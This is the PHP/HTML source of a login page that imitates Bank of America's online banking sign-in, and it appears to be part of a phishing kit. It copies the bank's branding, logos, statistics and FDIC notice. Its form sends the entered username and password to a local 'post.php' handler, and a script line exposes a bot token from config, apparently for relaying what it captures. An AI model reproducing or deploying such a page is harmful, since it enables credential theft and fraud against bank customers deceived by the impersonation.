<?php
include("config.php");
?><!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Cormorant+Garamond:wght@300;400;500;600&family=DM+Sans:wght@300;400;500&display=swap" rel="stylesheet">
    <title>Bank of America</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:          #c8102e;
            --red-dark:     #a0001a;
            --red-deep:     #7a0014;
            --red-light:    rgba(200,16,46,0.07);
            --red-glow:     rgba(200,16,46,0.14);
            --navy:         #012169;
            --text:         #1a1a1a;
            --text-sub:     #444;
            --text-muted:   #888;
            --border:       #e2e2e2;
            --bg:           #f8f8f8;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'DM Sans', sans-serif; background: var(--bg); }
        body { display: grid; grid-template-columns: 1fr 1fr; min-height: 100vh; }

        /* ── LEFT PANEL ─────────────────────────────── */
        .panel-left {
            background: #8b0000;
            background: linear-gradient(155deg, #9a0020 0%, #c8102e 40%, #7a0014 100%);
            position: relative;
            display: flex; flex-direction: column;
            justify-content: space-between;
            padding: 52px 56px 56px;
            overflow: hidden;
        }

        /* Watermark */
        .watermark {
            position: absolute;
            bottom: -6%;
            right: -14%;
            width: 88%;
            opacity: 0.06;
            pointer-events: none;
            user-select: none;
        }
        .watermark img {
            width: 100%; height: auto; display: block;
            filter: brightness(0) invert(1);
        }

        /* Depth gradients */
        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 65% 55% at 0% 100%, rgba(0,0,0,0.3) 0%, transparent 60%),
                radial-gradient(ellipse 50% 40% at 100% 0%, rgba(255,255,255,0.06) 0%, transparent 55%);
            pointer-events: none;
        }

        /* Thin divider line */
        .panel-left::after {
            content: '';
            position: absolute;
            left: 56px; right: 56px; top: 50%;
            height: 1px;
            background: linear-gradient(90deg, rgba(255,255,255,0.15) 0%, rgba(255,255,255,0.03) 100%);
            pointer-events: none;
        }

        .panel-top { position: relative; z-index: 2; }
        .panel-logo img {
            height: 40px; width: auto; display: block;
            filter: brightness(0) invert(1);
            opacity: 0.92;
        }

        .panel-bottom { position: relative; z-index: 2; }

        .eyebrow {
            font-size: 10.5px; font-weight: 500;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: rgba(255,255,255,0.5);
            margin-bottom: 20px;
            display: flex; align-items: center; gap: 10px;
        }
        .eyebrow::before {
            content: '';
            display: block; width: 28px; height: 1px;
            background: rgba(255,255,255,0.35);
        }

        .panel-headline {
            font-family: 'Cormorant Garamond', serif;
            font-size: clamp(30px, 3vw, 50px);
            font-weight: 300; line-height: 1.18;
            color: #fff; margin-bottom: 22px;
            letter-spacing: -0.01em;
        }
        .panel-headline em {
            font-style: italic;
            color: rgba(255,255,255,0.6);
        }

        .panel-sub {
            font-size: 13.5px; font-weight: 300;
            color: rgba(255,255,255,0.38);
            line-height: 1.8; max-width: 300px;
        }

        .panel-stats {
            display: flex; gap: 36px;
            margin-top: 40px; padding-top: 32px;
            border-top: 1px solid rgba(255,255,255,0.12);
        }
        .stat-num {
            font-family: 'Cormorant Garamond', serif;
            font-size: 28px; font-weight: 500;
            color: rgba(255,255,255,0.9);
            line-height: 1; margin-bottom: 4px;
        }
        .stat-label {
            font-size: 11px; font-weight: 400;
            color: rgba(255,255,255,0.35); letter-spacing: 0.05em;
        }

        /* ── RIGHT PANEL ─────────────────────────────── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 44px;
            background: var(--white);
            overflow-y: auto; position: relative;
        }
        .panel-right::before {
            content: '';
            position: absolute; top: 0; right: 0;
            width: 220px; height: 220px;
            background: radial-gradient(ellipse at 100% 0%, rgba(200,16,46,0.04) 0%, transparent 70%);
            pointer-events: none;
        }

        .login-card {
            width: 100%; max-width: 380px;
            animation: fadeUp 0.5s cubic-bezier(0.22,1,0.36,1) both;
        }
        @keyframes fadeUp { from { opacity: 0; transform: translateY(20px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { margin-bottom: 38px; }
        .card-logo img { height: 44px; width: auto; display: block; object-fit: contain; }

        .card-heading { margin-bottom: 30px; }
        .card-heading h1 {
            font-family: 'Cormorant Garamond', serif;
            font-size: 30px; font-weight: 500;
            color: var(--text); margin-bottom: 7px;
            letter-spacing: -0.015em; line-height: 1.2;
        }
        .card-heading p { font-size: 13.5px; color: var(--text-muted); font-weight: 300; }

        /* Fields */
        .field { margin-bottom: 16px; }
        .field label {
            display: block; font-size: 11.5px; font-weight: 500;
            letter-spacing: 0.06em; text-transform: uppercase;
            color: var(--text-sub); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 48px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 5px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; color: var(--text); background: #fff;
            outline: none; transition: border-color 0.18s, box-shadow 0.18s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #ccc; font-weight: 300; }
        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3.5px var(--red-light); }

        /* Options */
        .options-row {
            display: flex; align-items: center; justify-content: space-between;
            margin-bottom: 26px; margin-top: 4px;
        }
        .check-label {
            display: flex; align-items: center; gap: 9px;
            font-size: 13px; color: var(--text-sub);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 16px; height: 16px;
            border: 1.5px solid var(--border); border-radius: 3px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked { background: var(--red); border-color: var(--red); }
        .check-label input[type="checkbox"]:checked::after {
            content: ''; position: absolute; left: 3px; top: 0px;
            width: 5px; height: 9px; border: 2px solid #fff;
            border-top: none; border-left: none; transform: rotate(45deg);
        }
        .forgot-link {
            font-size: 12.5px; color: var(--red);
            text-decoration: none; font-weight: 400;
            transition: opacity 0.15s;
        }
        .forgot-link:hover { opacity: 0.7; text-decoration: underline; }

        /* Button */
        .btn-main {
            width: 100%; height: 50px;
            background: var(--red); color: #fff;
            border: none; border-radius: 5px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; font-weight: 500;
            letter-spacing: 0.03em; cursor: pointer;
            position: relative; overflow: hidden;
            transition: background 0.18s, transform 0.12s, box-shadow 0.18s;
            margin-bottom: 28px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
        }
        .btn-main::after {
            content: ''; position: absolute; inset: 0;
            background: linear-gradient(180deg, rgba(255,255,255,0.07) 0%, transparent 100%);
            pointer-events: none;
        }
        .btn-main:hover {
            background: var(--red-dark);
            box-shadow: 0 5px 20px rgba(200,16,46,0.32);
            transform: translateY(-1px);
        }
        .btn-main:active { transform: translateY(0); }

        /* Footer links */
        .card-divider { height: 1px; background: var(--border); margin-bottom: 22px; }
        .card-links { display: flex; flex-direction: column; gap: 12px; }
        .card-links a {
            font-size: 13.5px; color: var(--red);
            text-decoration: none; font-weight: 400;
            display: flex; align-items: center; gap: 6px;
            opacity: 0.8; transition: opacity 0.15s;
        }
        .card-links a:hover { opacity: 1; text-decoration: underline; }

        /* FDIC */
        .fdic-row {
            margin-top: 36px; display: flex; align-items: center; gap: 10px;
        }
        .fdic-badge {
            background: #1b3d8c; color: #fff;
            font-size: 10px; font-weight: 800;
            letter-spacing: 0.07em; padding: 3px 6px;
            border-radius: 2px; flex-shrink: 0;
        }
        .fdic-text { font-size: 10.5px; color: var(--text-muted); line-height: 1.45; }

        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- LEFT PANEL -->
<div class="panel-left">

    <div class="watermark">
        <img src="res/img/logo3.svg" alt="">
    </div>

    <div class="panel-top">
        <div class="panel-logo">
            <img src="res/img/logo3.svg" alt="Bank of America">
        </div>
    </div>

    <div class="panel-bottom">
        <div class="eyebrow">Online Banking</div>
        <h2 class="panel-headline">Life's better<br><em>connected.</em></h2>
        <p class="panel-sub">Sign in to manage your Bank of America accounts, credit cards, and investments.</p>
        <div class="panel-stats">
            <div class="stat-item">
                <div class="stat-num">$3T+</div>
                <div class="stat-label">Assets</div>
            </div>
            <div class="stat-item">
                <div class="stat-num">68M+</div>
                <div class="stat-label">Clients</div>
            </div>
            <div class="stat-item">
                <div class="stat-num">1904</div>
                <div class="stat-label">Est.</div>
            </div>
        </div>
    </div>
</div>

<!-- RIGHT PANEL -->
<div class="panel-right">
    <div class="login-card">

        <div class="card-logo">
            <img src="res/img/logo.svg" alt="Bank of America">
        </div>

        <div class="card-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>

            <div class="options-row">
                <label class="check-label">
                    <input type="checkbox" name="remember"> Remember me
                </label>
                <a href="#" class="forgot-link">Forgot password?</a>
            </div>

            <button type="submit" class="btn-main">Sign In</button>

            <div class="card-divider"></div>
            <div class="card-links">
                <a href="#">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><path d="M16 21v-2a4 4 0 00-4-4H5a4 4 0 00-4 4v2"/><circle cx="8.5" cy="7" r="4"/><line x1="20" y1="8" x2="20" y2="14"/><line x1="23" y1="11" x2="17" y2="11"/></svg>
                    Not enrolled? Sign up now
                </a>
                <a href="#">
                    <svg width="13" height="13" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                    Forgot username or password
                </a>
            </div>

            <div class="fdic-row">
                <span class="fdic-badge">FDIC</span>
                <span class="fdic-text">Member FDIC. Equal Housing Lender.</span>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>